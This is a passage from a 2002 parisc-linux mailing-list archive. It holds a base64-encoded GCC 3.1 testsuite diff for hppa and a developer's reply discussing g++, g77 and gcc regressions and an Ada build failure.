ZmZjMS5DICh0ZXN0IGZvciBleGNlc3MgZXJyb3JzKQ0KIEZBSUw6IGcrKy5icmVuZGFuL25l
dzMuQyAgRXhlY3V0aW9uIHRlc3QNCiBGQUlMOiBnKysubGF3L3Byb2ZpbGUxLkMgKHRlc3Qg
Zm9yIGV4Y2VzcyBlcnJvcnMpDQogWFBBU1M6IGcrKy5taWtlL2VoMzMuQyAodGVzdCBmb3Ig
ZXhjZXNzIGVycm9ycykNCkBAIC0xNiw3MCArMjAsNTUgQEANCiANCiAJCT09PSBnKysgU3Vt
bWFyeSA9PT0NCiANCi0jIG9mIGV4cGVjdGVkIHBhc3NlcwkJNzE1NQ0KLSMgb2YgdW5leHBl
Y3RlZCBmYWlsdXJlcwkyDQorIyBvZiBleHBlY3RlZCBwYXNzZXMJCTcyNTINCisjIG9mIHVu
ZXhwZWN0ZWQgZmFpbHVyZXMJNw0KICMgb2YgdW5leHBlY3RlZCBzdWNjZXNzZXMJNQ0KLSMg
b2YgZXhwZWN0ZWQgZmFpbHVyZXMJCTg3DQorIyBvZiBleHBlY3RlZCBmYWlsdXJlcwkJODYN
CiAjIG9mIHVudGVzdGVkIHRlc3RjYXNlcwkJMjMNCiAjIG9mIHVuc3VwcG9ydGVkIHRlc3Rz
CQk0DQotL2hvbWUvcGFja2FnZXMvZ2NjLzMuMS9nY2MtMy4xLTMuMWRzMC9idWlsZC9nY2Mv
dGVzdHN1aXRlLy4uL2crKyB2ZXJzaW9uIDMuMSAyMDAyMDUwMiAoRGViaWFuIHByZXJlbGVh
c2UpDQ0KKy9ob21lL3BhY2thZ2VzL2djYy90cnkvZ2NjLTMuMS0zLjFkczkwL2J1aWxkL2dj
Yy90ZXN0c3VpdGUvLi4vZysrIHZlcnNpb24gMy4xIDIwMDIwNDI5IChEZWJpYW4gZXhwZXJp
bWVudGFsKQ0NCiANCiAJCT09PSBnNzcgdGVzdHMgPT09DQogDQogDQogUnVubmluZyB0YXJn
ZXQgdW5peA0KLUZBSUw6IGc3Ny5mLXRvcnR1cmUvZXhlY3V0ZS8xOTk5MDMxMy0wLmYgZXhl
Y3V0aW9uLCAgLU8wIA0KLUZBSUw6IGc3Ny5mLXRvcnR1cmUvZXhlY3V0ZS8xOTk5MDMxMy0w
LmYgZXhlY3V0aW9uLCAgLU8xIA0KLUZBSUw6IGc3Ny5mLXRvcnR1cmUvZXhlY3V0ZS8xOTk5
MDMxMy0wLmYgZXhlY3V0aW9uLCAgLU8yIA0KLUZBSUw6IGc3Ny5mLXRvcnR1cmUvZXhlY3V0
ZS8xOTk5MDMxMy0wLmYgZXhlY3V0aW9uLCAgLU8zIC1mb21pdC1mcmFtZS1wb2ludGVyIA0K
LUZBSUw6IGc3Ny5mLXRvcnR1cmUvZXhlY3V0ZS8xOTk5MDMxMy0wLmYgZXhlY3V0aW9uLCAg
LU8zIC1nIA0KLUZBSUw6IGc3Ny5mLXRvcnR1cmUvZXhlY3V0ZS8xOTk5MDMxMy0wLmYgZXhl
Y3V0aW9uLCAgLU9zIA0KLUZBSUw6IGc3Ny5mLXRvcnR1cmUvZXhlY3V0ZS8xOTk5MDMxMy0x
LmYgZXhlY3V0aW9uLCAgLU8wIA0KLUZBSUw6IGc3Ny5mLXRvcnR1cmUvZXhlY3V0ZS8xOTk5
MDMxMy0xLmYgZXhlY3V0aW9uLCAgLU8xIA0KLUZBSUw6IGc3Ny5mLXRvcnR1cmUvZXhlY3V0
ZS8xOTk5MDMxMy0xLmYgZXhlY3V0aW9uLCAgLU8yIA0KLUZBSUw6IGc3Ny5mLXRvcnR1cmUv
ZXhlY3V0ZS8xOTk5MDMxMy0xLmYgZXhlY3V0aW9uLCAgLU8zIC1mb21pdC1mcmFtZS1wb2lu
dGVyIA0KLUZBSUw6IGc3Ny5mLXRvcnR1cmUvZXhlY3V0ZS8xOTk5MDMxMy0xLmYgZXhlY3V0
aW9uLCAgLU8zIC1nIA0KLUZBSUw6IGc3Ny5mLXRvcnR1cmUvZXhlY3V0ZS8xOTk5MDMxMy0x
LmYgZXhlY3V0aW9uLCAgLU9zIA0KLUZBSUw6IGc3Ny5mLXRvcnR1cmUvZXhlY3V0ZS8xOTk5
MDMxMy0yLmYgZXhlY3V0aW9uLCAgLU8wIA0KLUZBSUw6IGc3Ny5mLXRvcnR1cmUvZXhlY3V0
ZS8xOTk5MDMxMy0yLmYgZXhlY3V0aW9uLCAgLU8xIA0KLUZBSUw6IGc3Ny5mLXRvcnR1cmUv
ZXhlY3V0ZS8xOTk5MDMxMy0yLmYgZXhlY3V0aW9uLCAgLU8yIA0KLUZBSUw6IGc3Ny5mLXRv
cnR1cmUvZXhlY3V0ZS8xOTk5MDMxMy0yLmYgZXhlY3V0aW9uLCAgLU8zIC1mb21pdC1mcmFt
ZS1wb2ludGVyIA0KLUZBSUw6IGc3Ny5mLXRvcnR1cmUvZXhlY3V0ZS8xOTk5MDMxMy0yLmYg
ZXhlY3V0aW9uLCAgLU8zIC1nIA0KLUZBSUw6IGc3Ny5mLXRvcnR1cmUvZXhlY3V0ZS8xOTk5
MDMxMy0yLmYgZXhlY3V0aW9uLCAgLU9zIA0KLUZBSUw6IGc3Ny5mLXRvcnR1cmUvZXhlY3V0
ZS8xOTk5MDMxMy0zLmYgZXhlY3V0aW9uLCAgLU8wIA0KLUZBSUw6IGc3Ny5mLXRvcnR1cmUv
ZXhlY3V0ZS8xOTk5MDMxMy0zLmYgZXhlY3V0aW9uLCAgLU8xIA0KLUZBSUw6IGc3Ny5mLXRv
cnR1cmUvZXhlY3V0ZS8xOTk5MDMxMy0zLmYgZXhlY3V0aW9uLCAgLU8yIA0KLUZBSUw6IGc3
Ny5mLXRvcnR1cmUvZXhlY3V0ZS8xOTk5MDMxMy0zLmYgZXhlY3V0aW9uLCAgLU8zIC1mb21p
dC1mcmFtZS1wb2ludGVyIA0KLUZBSUw6IGc3Ny5mLXRvcnR1cmUvZXhlY3V0ZS8xOTk5MDMx
My0zLmYgZXhlY3V0aW9uLCAgLU8zIC1nIA0KLUZBSUw6IGc3Ny5mLXRvcnR1cmUvZXhlY3V0
ZS8xOTk5MDMxMy0zLmYgZXhlY3V0aW9uLCAgLU9zIA0KK0ZBSUw6IGc3Ny5mLXRvcnR1cmUv
ZXhlY3V0ZS82MzY3LmYgZXhlY3V0aW9uLCAgLU8wIA0KK0ZBSUw6IGc3Ny5mLXRvcnR1cmUv
ZXhlY3V0ZS82MzY3LmYgZXhlY3V0aW9uLCAgLU8xIA0KK0ZBSUw6IGc3Ny5mLXRvcnR1cmUv
ZXhlY3V0ZS82MzY3LmYgZXhlY3V0aW9uLCAgLU8yIA0KK0ZBSUw6IGc3Ny5mLXRvcnR1cmUv
ZXhlY3V0ZS82MzY3LmYgZXhlY3V0aW9uLCAgLU8zIC1mb21pdC1mcmFtZS1wb2ludGVyIA0K
K0ZBSUw6IGc3Ny5mLXRvcnR1cmUvZXhlY3V0ZS82MzY3LmYgZXhlY3V0aW9uLCAgLU8zIC1m
b21pdC1mcmFtZS1wb2ludGVyIC1mdW5yb2xsLWxvb3BzIA0KK0ZBSUw6IGc3Ny5mLXRvcnR1
cmUvZXhlY3V0ZS82MzY3LmYgZXhlY3V0aW9uLCAgLU8zIC1mb21pdC1mcmFtZS1wb2ludGVy
IC1mdW5yb2xsLWFsbC1sb29wcyAtZmlubGluZS1mdW5jdGlvbnMgDQorRkFJTDogZzc3LmYt
dG9ydHVyZS9leGVjdXRlLzYzNjcuZiBleGVjdXRpb24sICAtTzMgLWcgDQorRkFJTDogZzc3
LmYtdG9ydHVyZS9leGVjdXRlLzYzNjcuZiBleGVjdXRpb24sICAtT3MgDQogDQogCQk9PT0g
Zzc3IFN1bW1hcnkgPT09DQogDQotIyBvZiBleHBlY3RlZCBwYXNzZXMJCTE0MjgNCi0jIG9m
IHVuZXhwZWN0ZWQgZmFpbHVyZXMJMjQNCisjIG9mIGV4cGVjdGVkIHBhc3NlcwkJMTYxOA0K
KyMgb2YgdW5leHBlY3RlZCBmYWlsdXJlcwk4DQogIyBvZiB1bnN1cHBvcnRlZCB0ZXN0cwkJ
OA0KLS9ob21lL3BhY2thZ2VzL2djYy8zLjEvZ2NjLTMuMS0zLjFkczAvYnVpbGQvZ2NjL3Rl
c3RzdWl0ZS8uLi9nNzcgdmVyc2lvbiAzLjEgMjAwMjA1MDIgKERlYmlhbiBwcmVyZWxlYXNl
KQ0NCisvaG9tZS9wYWNrYWdlcy9nY2MvdHJ5L2djYy0zLjEtMy4xZHM5MC9idWlsZC9nY2Mv
dGVzdHN1aXRlLy4uL2c3NyB2ZXJzaW9uIDMuMSAyMDAyMDQyOSAoRGViaWFuIGV4cGVyaW1l
bnRhbCkNDQogDQogCQk9PT0gZ2NjIHRlc3RzID09PQ0KIA0KIA0KIFJ1bm5pbmcgdGFyZ2V0
IHVuaXgNCi1GQUlMOiBnY2MuYy10b3J0dXJlL2V4ZWN1dGUvMjAwMjAzMDctMi5jIGNvbXBp
bGF0aW9uLCAgLU8wIA0KLVVOUkVTT0xWRUQ6IGdjYy5jLXRvcnR1cmUvZXhlY3V0ZS8yMDAy
MDMwNy0yLmMgZXhlY3V0aW9uLCAgLU8wIA0KLUZBSUw6IGdjYy5jLXRvcnR1cmUvZXhlY3V0
ZS8yMDAyMDMwNy0yLmMgY29tcGlsYXRpb24sICAtTzEgDQotVU5SRVNPTFZFRDogZ2NjLmMt
dG9ydHVyZS9leGVjdXRlLzIwMDIwMzA3LTIuYyBleGVjdXRpb24sICAtTzEgDQotRkFJTDog
Z2NjLmMtdG9ydHVyZS9leGVjdXRlLzIwMDIwMzA3LTIuYyBjb21waWxhdGlvbiwgIC1PMiAN
Ci1VTlJFU09MVkVEOiBnY2MuYy10b3J0dXJlL2V4ZWN1dGUvMjAwMjAzMDctMi5jIGV4ZWN1
dGlvbiwgIC1PMiANCi1GQUlMOiBnY2MuYy10b3J0dXJlL2V4ZWN1dGUvMjAwMjAzMDctMi5j
IGNvbXBpbGF0aW9uLCAgLU8zIC1mb21pdC1mcmFtZS1wb2ludGVyIA0KLVVOUkVTT0xWRUQ6
IGdjYy5jLXRvcnR1cmUvZXhlY3V0ZS8yMDAyMDMwNy0yLmMgZXhlY3V0aW9uLCAgLU8zIC1m
b21pdC1mcmFtZS1wb2ludGVyIA0KLUZBSUw6IGdjYy5jLXRvcnR1cmUvZXhlY3V0ZS8yMDAy
MDMwNy0yLmMgY29tcGlsYXRpb24sICAtTzMgLWZvbWl0LWZyYW1lLXBvaW50ZXIgLWZ1bnJv
bGwtbG9vcHMgDQotVU5SRVNPTFZFRDogZ2NjLmMtdG9ydHVyZS9leGVjdXRlLzIwMDIwMzA3
LTIuYyBleGVjdXRpb24sICAtTzMgLWZvbWl0LWZyYW1lLXBvaW50ZXIgLWZ1bnJvbGwtbG9v
cHMgDQotRkFJTDogZ2NjLmMtdG9ydHVyZS9leGVjdXRlLzIwMDIwMzA3LTIuYyBjb21waWxh
dGlvbiwgIC1PMyAtZm9taXQtZnJhbWUtcG9pbnRlciAtZnVucm9sbC1hbGwtbG9vcHMgLWZp
bmxpbmUtZnVuY3Rpb25zIA0KLVVOUkVTT0xWRUQ6IGdjYy5jLXRvcnR1cmUvZXhlY3V0ZS8y
MDAyMDMwNy0yLmMgZXhlY3V0aW9uLCAgLU8zIC1mb21pdC1mcmFtZS1wb2ludGVyIC1mdW5y
b2xsLWFsbC1sb29wcyAtZmlubGluZS1mdW5jdGlvbnMgDQotRkFJTDogZ2NjLmMtdG9ydHVy
ZS9leGVjdXRlLzIwMDIwMzA3LTIuYyBjb21waWxhdGlvbiwgIC1PMyAtZyANCi1VTlJFU09M
VkVEOiBnY2MuYy10b3J0dXJlL2V4ZWN1dGUvMjAwMjAzMDctMi5jIGV4ZWN1dGlvbiwgIC1P
MyAtZyANCi1GQUlMOiBnY2MuYy10b3J0dXJlL2V4ZWN1dGUvMjAwMjAzMDctMi5jIGNvbXBp
bGF0aW9uLCAgLU9zIA0KLVVOUkVTT0xWRUQ6IGdjYy5jLXRvcnR1cmUvZXhlY3V0ZS8yMDAy
MDMwNy0yLmMgZXhlY3V0aW9uLCAgLU9zIA0KK0ZBSUw6IGdjYy5jLXRvcnR1cmUvY29tcGls
ZS8yMDAwMDUwNC0xLmMsICAtTzEgIA0KK0ZBSUw6IGdjYy5jLXRvcnR1cmUvZXhlY3V0ZS8y
MDAyMDQxMi0xLmMgY29tcGlsYXRpb24sICAtTzAgDQorVU5SRVNPTFZFRDogZ2NjLmMtdG9y
dHVyZS9leGVjdXRlLzIwMDIwNDEyLTEuYyBleGVjdXRpb24sICAtTzAgDQorRkFJTDogZ2Nj
LmMtdG9ydHVyZS9leGVjdXRlLzIwMDIwNDEyLTEuYyBjb21waWxhdGlvbiwgIC1PMSANCitV
TlJFU09MVkVEOiBnY2MuYy10b3J0dXJlL2V4ZWN1dGUvMjAwMjA0MTItMS5jIGV4ZWN1dGlv
biwgIC1PMSANCitGQUlMOiBnY2MuYy10b3J0dXJlL2V4ZWN1dGUvMjAwMjA0MTItMS5jIGNv
bXBpbGF0aW9uLCAgLU8yIA0KK1VOUkVTT0xWRUQ6IGdjYy5jLXRvcnR1cmUvZXhlY3V0ZS8y
MDAyMDQxMi0xLmMgZXhlY3V0aW9uLCAgLU8yIA0KK0ZBSUw6IGdjYy5jLXRvcnR1cmUvZXhl
Y3V0ZS8yMDAyMDQxMi0xLmMgY29tcGlsYXRpb24sICAtTzMgLWZvbWl0LWZyYW1lLXBvaW50
ZXIgDQorVU5SRVNPTFZFRDogZ2NjLmMtdG9ydHVyZS9leGVjdXRlLzIwMDIwNDEyLTEuYyBl
eGVjdXRpb24sICAtTzMgLWZvbWl0LWZyYW1lLXBvaW50ZXIgDQorRkFJTDogZ2NjLmMtdG9y
dHVyZS9leGVjdXRlLzIwMDIwNDEyLTEuYyBjb21waWxhdGlvbiwgIC1PMyAtZm9taXQtZnJh
bWUtcG9pbnRlciAtZnVucm9sbC1sb29wcyANCitVTlJFU09MVkVEOiBnY2MuYy10b3J0dXJl
L2V4ZWN1dGUvMjAwMjA0MTItMS5jIGV4ZWN1dGlvbiwgIC1PMyAtZm9taXQtZnJhbWUtcG9p
bnRlciAtZnVucm9sbC1sb29wcyANCitGQUlMOiBnY2MuYy10b3J0dXJlL2V4ZWN1dGUvMjAw
MjA0MTItMS5jIGNvbXBpbGF0aW9uLCAgLU8zIC1mb21pdC1mcmFtZS1wb2ludGVyIC1mdW5y
b2xsLWFsbC1sb29wcyAtZmlubGluZS1mdW5jdGlvbnMgDQorVU5SRVNPTFZFRDogZ2NjLmMt
dG9ydHVyZS9leGVjdXRlLzIwMDIwNDEyLTEuYyBleGVjdXRpb24sICAtTzMgLWZvbWl0LWZy
YW1lLXBvaW50ZXIgLWZ1bnJvbGwtYWxsLWxvb3BzIC1maW5saW5lLWZ1bmN0aW9ucyANCitG
QUlMOiBnY2MuYy10b3J0dXJlL2V4ZWN1dGUvMjAwMjA0MTItMS5jIGNvbXBpbGF0aW9uLCAg
LU8zIC1nIA0KK1VOUkVTT0xWRUQ6IGdjYy5jLXRvcnR1cmUvZXhlY3V0ZS8yMDAyMDQxMi0x
LmMgZXhlY3V0aW9uLCAgLU8zIC1nIA0KK0ZBSUw6IGdjYy5jLXRvcnR1cmUvZXhlY3V0ZS8y
MDAyMDQxMi0xLmMgY29tcGlsYXRpb24sICAtT3MgDQorVU5SRVNPTFZFRDogZ2NjLmMtdG9y
dHVyZS9leGVjdXRlLzIwMDIwNDEyLTEuYyBleGVjdXRpb24sICAtT3MgDQogRkFJTDogZ2Nj
LmMtdG9ydHVyZS9leGVjdXRlL3ZhLWFyZy0yMi5jIGV4ZWN1dGlvbiwgIC1PMCANCiBGQUlM
OiBnY2MuYy10b3J0dXJlL2V4ZWN1dGUvdmEtYXJnLTIyLmMgZXhlY3V0aW9uLCAgLU8xIA0K
IEZBSUw6IGdjYy5jLXRvcnR1cmUvZXhlY3V0ZS92YS1hcmctMjIuYyBleGVjdXRpb24sICAt
TzIgDQpAQCAtODgsMjAgKzc3LDE4IEBADQogRkFJTDogZ2NjLmMtdG9ydHVyZS9leGVjdXRl
L3ZhLWFyZy0yMi5jIGV4ZWN1dGlvbiwgIC1PMyAtZm9taXQtZnJhbWUtcG9pbnRlciAtZnVu
cm9sbC1hbGwtbG9vcHMgLWZpbmxpbmUtZnVuY3Rpb25zIA0KIEZBSUw6IGdjYy5jLXRvcnR1
cmUvZXhlY3V0ZS92YS1hcmctMjIuYyBleGVjdXRpb24sICAtTzMgLWcgDQogRkFJTDogZ2Nj
LmMtdG9ydHVyZS9leGVjdXRlL3ZhLWFyZy0yMi5jIGV4ZWN1dGlvbiwgIC1PcyANCi1GQUlM
OiBnY2MuYy10b3J0dXJlL2V4ZWN1dGUvaWVlZS9yYnVnLmMgZXhlY3V0aW9uLCAgLU8zIC1m
b21pdC1mcmFtZS1wb2ludGVyIA0KLUZBSUw6IGdjYy5jLXRvcnR1cmUvZXhlY3V0ZS9pZWVl
L3JidWcuYyBleGVjdXRpb24sICAtTzMgLWcgDQogRkFJTDogZ2NjLmRnLzIwMDIwMzEyLTIu
YyAodGVzdCBmb3IgZXhjZXNzIGVycm9ycykNCiBXQVJOSU5HOiBnY2MuZGcvMjAwMjAzMTIt
Mi5jIGNvbXBpbGF0aW9uIGZhaWxlZCB0byBwcm9kdWNlIGV4ZWN1dGFibGUNCiBGQUlMOiBn
Y2MuZGcvYXNtLW5hbWVzLmMgKHRlc3QgZm9yIGV4Y2VzcyBlcnJvcnMpDQogDQogCQk9PT0g
Z2NjIFN1bW1hcnkgPT09DQogDQotIyBvZiBleHBlY3RlZCBwYXNzZXMJCTE4MTkzDQotIyBv
ZiB1bmV4cGVjdGVkIGZhaWx1cmVzCTIwDQorIyBvZiBleHBlY3RlZCBwYXNzZXMJCTE4Mzk1
DQorIyBvZiB1bmV4cGVjdGVkIGZhaWx1cmVzCTE5DQogIyBvZiBleHBlY3RlZCBmYWlsdXJl
cwkJNzANCiAjIG9mIHVucmVzb2x2ZWQgdGVzdGNhc2VzCTgNCi0jIG9mIHVuc3VwcG9ydGVk
IHRlc3RzCQkxMTMNCi0vaG9tZS9wYWNrYWdlcy9nY2MvMy4xL2djYy0zLjEtMy4xZHMwL2J1
aWxkL2djYy94Z2NjIHZlcnNpb24gMy4xIDIwMDIwNTAyIChEZWJpYW4gcHJlcmVsZWFzZSkN
DQorIyBvZiB1bnN1cHBvcnRlZCB0ZXN0cwkJMTE4DQorL2hvbWUvcGFja2FnZXMvZ2NjL3Ry
eS9nY2MtMy4xLTMuMWRzOTAvYnVpbGQvZ2NjL3hnY2MgdmVyc2lvbiAzLjEgMjAwMjA0Mjkg
KERlYmlhbiBleHBlcmltZW50YWwpDQ0KIA0KIAkJPT09IG9iamMgdGVzdHMgPT09DQogDQpA
QCAtMTEyLDcgKzk5LDcgQEANCiANCiAjIG9mIGV4cGVjdGVkIHBhc3NlcwkJMTAzNg0KICMg
b2YgZXhwZWN0ZWQgZmFpbHVyZXMJCTYNCi0vaG9tZS9wYWNrYWdlcy9nY2MvMy4xL2djYy0z
LjEtMy4xZHMwL2J1aWxkL2djYy94Z2NjIHZlcnNpb24gMy4xIDIwMDIwNTAyIChEZWJpYW4g
cHJlcmVsZWFzZSkNDQorL2hvbWUvcGFja2FnZXMvZ2NjL3RyeS9nY2MtMy4xLTMuMWRzOTAv
YnVpbGQvZ2NjL3hnY2MgdmVyc2lvbiAzLjEgMjAwMjA0MjkgKERlYmlhbiBleHBlcmltZW50
YWwpDQ0KIA0KIAkJPT09IGxpYnN0ZGMrKy12MyB0ZXN0cyA9PT0NCiANCkBAIC0xMzMsNyAr
MTIwLDcgQEANCiAjIG9mIHVuZXhwZWN0ZWQgZmFpbHVyZXMJOA0KICMgb2YgZXhwZWN0ZWQg
ZmFpbHVyZXMJCTI1DQogDQotQ29tcGlsZXIgdmVyc2lvbjogMy4xIDIwMDIwNTAyIChEZWJp
YW4gcHJlcmVsZWFzZSkgDQorQ29tcGlsZXIgdmVyc2lvbjogMy4xIDIwMDIwNDI5IChEZWJp
YW4gZXhwZXJpbWVudGFsKSANCiBQbGF0Zm9ybTogaHBwYS11bmtub3duLWxpbnV4LWdudQ0K
IGNvbmZpZ3VyZSBmbGFnczogLS1ob3N0PWhwcGEtbGludXggLXYgLS1lbmFibGUtbGFuZ3Vh
Z2VzPWMsYysrLGY3Nyxwcm90byxvYmpjLGFkYSAtLXByZWZpeD0vdXNyIC0taW5mb2Rpcj0n
XCR7cHJlZml4fS9zaGFyZS9pbmZvJyAtLW1hbmRpcj1cJHtwcmVmaXh9L3NoYXJlL21hbiAt
LXdpdGgtZ3h4LWluY2x1ZGUtZGlyPS91c3IvaW5jbHVkZS9nKystdjMtMy4xIC0tZW5hYmxl
LXNoYXJlZCAtLXdpdGgtZ251LWFzIC0td2l0aC1nbnUtbGQgLS13aXRoLXN5c3RlbS16bGli
IC0tZW5hYmxlLWxvbmctbG9uZyAtLWVuYWJsZS1ubHMgLS13aXRob3V0LWluY2x1ZGVkLWdl
dHRleHQgLS1lbmFibGUtY2xvY2FsZT1nbnUgLS1lbmFibGUtdGhyZWFkcz1wb3NpeCAtLXdp
dGgtY3BwLWluc3RhbGwtZGlyPWJpbg0KIEJPT1RfQ0ZMQUdTPS1PMiANCg0KDQo+IEkgYW0g
ZmFpcmx5DQo+IGNlcnRhaW4gYyB3aWxsIGJ1aWxkIG9uIGFsbCBwbGF0Zm9ybXMuICBIb3dl
dmVyLCBJIGtub3cgdGhhdCB0aGVyZSBpcw0KPiBvbmUgYyByZWdyZXNzaW9uIHVuZGVyIGhw
cGEgbmVhciB0aGUgYmVnaW5uaW5nIG9mIG1hcmNoLiAgVGhlcmUgaXMgYW5vdGhlcg0KPiBh
dCB0aGUgYmVnaW5uaW5nIG9mIE1heS4NCg0KQWRhIGRvZXNuJ3QgYnVpbGQ6DQouLi8uLi94
Z2NjIC1CLi4vLi4vIC1jIC1nIC1PMiAtZyAtTzIgLVcgLVdhbGwgLWduYXRwZyAtSS4gLUkv
aG9tZS9wYWNrYWdlcy9nY2MvdHJ5L2djYy0zLjEtMy4xZHM5MC9zcmMvZ2NjL2FkYSBzLXRh
cHJvcC5hZGINCnMtdGFwcm9wLmFkYjo0ODoxMjogd2FybmluZzogbm8gZW50aXRpZXMgb2Yg
Ik9zX1ByaW1pdGl2ZXMiIGFyZSByZWZlcmVuY2VkDQptYWtlWzRdOiAqKiogW3MtdGFwcm9w
Lm9dIEVycm9yIDENCm1ha2VbNF06IExlYXZpbmcgZGlyZWN0b3J5IGAvaG9tZS9wYWNrYWdl
cy9nY2MvdHJ5L2djYy0zLjEtMy4xZHM5MC9idWlsZC9nY2MvYWRhL3J0cycNCg0KPiANCj4g
QXMgYSBtYXR0ZXIgb2YgcmVsZWFzZSBwaGlsb3NvcGh5LCBJIGRvbid0IG11Y2ggbGlrZSBo
eWJyaWRzLiAgT3B0aW9uDQo+IGIgYWRkcyBhbm90aGVyIHBlcm11dGF0aW9uIHRvIG1haW50
YWluIGV2ZW4gaWYgdGhlIG5ldyBjKysgY2FwYWJpbGl0aWVzDQo+IGFyZSB2ZXJ5IHRlbXB0
aW5nLiAgTXkgZm9jdXMgd2lsbCBiZSAzLjIuICAzLjEgd2lsbCBvbmx5IGdldCBzbWFsbCBi
dWcNCj4gZml4ZXMuICBJZiB3ZSBrZWVwIHRvIHRoZSBtYWluIHJlbGVhc2VzLCBpdCBtdWNo
IGVhc2llciB0byB2ZXJpZnkgYW5kDQo+IHJlc29sdmUgYnVncy4NCg0KT2suDQoNCj4gU28s
IEkgd291bGQgc2F5IHVzZSBhIGFzIHRoZSBkZWZhdWx0LiAgVGhpcyBpcyB0aGUgY29uc2Vy
dmF0aXZlIGNob2ljZQ0KPiBhbmQgd2VsbCB0ZXN0ZWQgYWNyb3NzIGEgYnJvYWQgcmFuZ2Ug
b2Ygc3lzdGVtcy4gIE9wdGlvbiBhIGNhbiBlYXNpbHkgYmUNCj4gdXNlZCB0byBidWlsZCBj
LiAgTWF5YmUgeW91IGNvdWxkIGluY2x1ZGUgYyBhcyB3ZWxsIGZvciBleHBlcmltZW50YWwN
Cj4gZGV2ZWxvcG1lbnQgYW5kIGJ1aWxkaW5nIGMrKyBwYWNrYWdlcyB0aGF0IG5lZWQgdGhl
IGR3MiBzdXBwb3J0IHVuZGVyDQo+IHBhcmlzYy1saW51eC4NCg0KSSdsbCBrZWVwIGJ1aWxk
aW5nIHRoZSBzbmFwc2hvdCBwYWNrYWdlLiBtYXliZSBhbiBhbHRlcm5hdGl2ZSBpcyB0bw0K
YnVpbGQgYSBnY2MtMy4yIHBhY2thZ2Ugd2l0aCBpbmNvbXBhdGlibGUgc29uYW1lcywgc28g
cGFja2FnZXMgY2FuIGJlDQplYXNpbHkgaWRlbnRpZmllZC4gd2UgaGFkIHRoaXMgc2l0dWF0
aW9uIGJlZm9yZSB0aGUgZ2NjLTMuMA0KcmVsZWFzZS4gVXNpbmcgdGhlICIzMDAiIG5hbWVz
LCB0aGVuIHN3aXRjaGluZyB0byB1cHN0cmVhbSBuYW1lcywNCmJlZm9yZSB0aGUgZmluYWwg
QUJJIGZvciAzLjAgd2FzIGZyb3plbi4NCg0KCU1hdHRoaWFz




From - Thu Nov 08 21:22:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.? compiler for hppa (3.1, 3.1+dwarf2, 3.2cvs20020429?)
Date: Sun, 5 May 2002 11:45:06 -0400 (EDT)
Lines: 77
Approved: news@gmane.org
Message-ID: <200205051545.g45Fj6CZ026798__17024.272439494$1416621276$gmane$org@hiauly1.hia.nrc.ca>
References: <15573.10385.229145.132477@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621276 7019 80.91.229.3 (22 Nov 2014 01:54:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
	debian-hppa@lists.debian.org, debian-gcc@lists.debian.org
To: doko@cs.tu-berlin.de (Matthias Klose)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun May  5 09:45:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8AC934833
	for <parisc-linux@lists.parisc-linux.org>; Sun,  5 May 2002 09:45:09 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g45Fj6FN026799;
	Sun, 5 May 2002 11:45:07 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g45Fj6CZ026798;
	Sun, 5 May 2002 11:45:06 -0400 (EDT)
In-Reply-To: <15573.10385.229145.132477@gargle.gargle.HOWL> from "Matthias Klose" at May 5, 2002 02:41:53 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14715

> this is a diff of the test results for b and c. g++ is worse, the

I think all the new g++ fails are in new tests.  So, I don't think
g++ is actually worse.

> regressions for g77 and gcc are new test cases in the trunk. One new
> gcc regression:

Yes, gcc.c-torture/compile/20000504-1.c is a regression.  It's good
to see the g77 fails go away.

> Ada doesn't build:
> ../../xgcc -B../../ -c -g -O2 -g -O2 -W -Wall -gnatpg -I. -I/home/packages/gcc/try/gcc-3.1-3.1ds90/src/gcc/ada s-taprop.adb
> s-taprop.adb:48:12: warning: no entities of "Os_Primitives" are referenced
> make[4]: *** [s-taprop.o] Error 1
> make[4]: Leaving directory `/home/packages/gcc/try/gcc-3.1-3.1ds90/build/gcc/ada/rts'

The enclosed patch fixes the compilation error.  However, Florian hasn't
installed it.  I'll try and get an update on its status.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)

>From fw@deneb.enyo.de Sun Apr 28 16:44:10 EDT 2002
Received: from nrcmrddc1.imsb.nrc.ca (nrcmrddc1.imsb.nrc.ca [132.246.56.35])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g3SKi9FN016414
